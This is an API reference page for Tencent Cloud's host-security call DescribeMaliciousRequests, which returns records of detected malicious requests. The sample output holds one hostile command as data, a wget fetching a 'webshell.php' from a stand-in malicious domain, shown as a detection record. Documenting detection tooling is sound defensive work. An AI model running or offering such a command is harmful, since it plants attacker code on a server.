DescribeMaliciousRequests

Last updated: 2019-06-26 20:08:04

PDF

1. API Description

Domain name for API request: yunjing.tencentcloudapi.com.

This API (DescribeMaliciousRequests) is used to obtain malicious request information.

Default request rate limit: 20/sec.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name Required Type Description
Action Yes String Common parameter. The value​used for this API: DescribeMaliciousRequests.
Version Yes String Common parameter. The value used for this API: 2/28/2018
Region No String Common parameter. This parameter is not required for this API.
Limit No Integer Number of returned results. It defaults to 10. The maximum is 100.
Offset No Integer Offset. It defaults to 0.
Filters.N No Array of Filter Filter condition.
  • Status - String - Required: No - Filter by status (UN_OPERATED: Pending | TRUSTED: Trusted | UN_TRUSTED: Untrusted)
  • Domain - String - Required: No - Domain name of the malicious request
  • MachineIp - String - Required: No - Host private IP
  • Uuid No String Unique UUID of the HS client.

    3. Output Parameters

    Parameter Name Type Description
    TotalCount Integer Total number of records.
    MaliciousRequests Array of MaliciousRequest Array of malicious request records.
    RequestId String The unique ID of a request, which is required for each troubleshooting case.

    4. Example

    Example 1 Obtain malicious request information

    Input example

    https://yunjing.tencentcloudapi.com/?Action=DescribeMaliciousRequests
    &Limit=10
    &Offset=0
    &<Common request parameters>

    Output example

    {
      "Response": {
        "MaliciousRequests": [
          {
            "Count": 10,
            "Status": "UN_OPERATED",
            "Domain": "www.malicious_domain.com",
            "Uuid": "add4a78a-0d59-11e8-b7ab-00e081e1a5c5",
            "Reference": "reference",
            "CmdLine": "wget http://www.malicious_domain.com/webshell.php",
            "MachineName": "machienname",
            "Pid": 5577,
            "Id": 1,
            "ProcessName": "wget",
            "ProcessMd5": "ab0ffdb812fab5a0e1e8b83d39c63ce9",
            "MergeTime": "2018-10-10 10:11:12",
            "CreateTime": "2018-10-10 10:11:12",
            "MachineIp": "10.10.1.1",
            "Description": "description"
          }
        ],
        "RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
        "TotalCount": 100
      }
    }

    5. Resources for Developers

    API Explorer

    This tool allows online call, signature authentication, SDK code generation and quick search of APIs to greatly improve the efficiency of using cloud APIs.

    6. Error Codes

    The following only lists the error codes related to this API. For other error codes, see Common Error Codes.

    Error Code Description
    InternalError Internal error.
    InvalidParameter.IllegalRequest Invalid request.